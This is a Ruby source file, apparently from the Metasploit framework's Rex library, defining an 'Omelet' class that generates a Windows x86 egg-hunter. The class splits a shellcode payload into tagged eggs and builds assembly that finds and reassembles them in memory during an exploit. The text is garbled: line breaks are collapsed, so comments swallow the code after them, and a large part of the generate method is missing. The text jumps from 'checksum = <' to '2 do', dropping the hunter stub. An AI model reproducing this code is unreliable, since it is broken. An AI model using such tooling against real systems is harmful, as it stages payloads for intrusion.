# -*- coding: binary -*- require 'rex/text' require 'rex/arch' require 'metasm' module Rex module Exploitation ### # # This class provides an interface to generating an eggs-to-omelet hunter for win/x86. # # Written by corelanc0d3r # ### class Omelet ### # # Windows-based eggs-to-omelet hunters # ### module Windows Alias = "win" module X86 Alias = ARCH_X86 # # The hunter stub for win/x86. # def hunter_stub { # option hash members go here (currently unused) } end end end ### # # Generic interface # ### # # Creates a new hunter instance and acquires the sub-class that should # be used for generating the stub based on the supplied platform and # architecture. # def initialize(platform, arch = nil) Omelet.constants.each { |c| mod = self.class.const_get(c) next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias'))) if (platform =~ /#{mod.const_get('Alias')}/i) self.extend(mod) if (arch and mod) mod.constants.each { |a| amod = mod.const_get(a) next if ((!amod.kind_of?(::Module)) or (!amod.const_defined?('Alias'))) if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i) amod = mod.const_get(a) self.extend(amod) end } end end } end # # This method generates an eggs-to-omelet hunter using the derived hunter stub. # def generate(payload, badchars = '', opts = {}) eggsize = opts[:eggsize] || 123 eggtag = opts[:eggtag] || "00w" searchforward = opts[:searchforward] || true reset = opts[:reset] startreg = opts[:startreg] usechecksum = opts[:checksum] adjust = opts[:adjust] || 0 return nil if ((opts = hunter_stub) == nil) # calculate number of eggs payloadlen = payload.length delta = payloadlen / eggsize delta = delta * eggsize nr_eggs = payloadlen / eggsize if delta < payloadlen nr_eggs = nr_eggs+1 end nr_eggs_hex = "%02x" % nr_eggs eggsize_hex = "%02x" % eggsize hextag = '' eggtag.each_byte do |thischar| decchar = "%02x" % thischar hextag = decchar + hextag end hextag = hextag + "01" # search forward or backward ? setflag = nil searchstub1 = nil searchstub2 = nil flipflagpre = '' flipflagpost = '' checksum = '' if searchforward # clear direction flag setflag = "cld" searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx" searchstub2 = "inc edx" else # set the direction flag setflag = "std" searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx" searchstub2 = "dec edx" flipflagpre = "cld\n\tsub esi,-8" flipflagpost = "std" end # will we have to adjust the destination address ? adjustdest = '' if adjust > 0 adjustdest = "\n\tsub edi,#{adjust}" elsif adjust < 0 adjustdest = "\n\tadd edi,#{adjust}" end # prepare the stub that starts the search startstub = '' if startreg if startreg.downcase != 'ebp' startstub << "mov ebp,#{startreg}" end startstub << "\n\t" if startstub.length > 0 startstub << "mov edx,ebp" end # a register will be used as start location for the search startstub << "\n\t" if startstub.length > 0 startstub << "push esp\n\tpop edi\n\tor di,0xffff" startstub << adjustdest # edx will be used, start at end of stack frame if not startreg startstub << "\n\tmov edx,edi" if reset startstub << "\n\tpush edx\n\tpop ebp" end end # reset start after each egg was found ? # will allow to find eggs when they are out of order/sequence resetstart = '' if reset resetstart = "push ebp\n\tpop edx" end #checksum code by dijital1 & corelanc0d3r if usechecksum checksum = < 2 do egg_prep = eggcnt.chr + eggtag this_egg = fullcode[startcode, eggsize] if usechecksum cksum = 0 this_egg.each_byte { |b| cksum += b } this_egg << [cksum & 0xff].pack('C') end this_egg = egg_prep + this_egg eggs << this_egg eggcnt -= 1 startcode += eggsize end return [ the_omelet, eggs ] end protected # # Stub method that is meant to be overridden. It returns the raw stub that # should be used as the omelet maker (combine the eggs). # def hunter_stub end end end end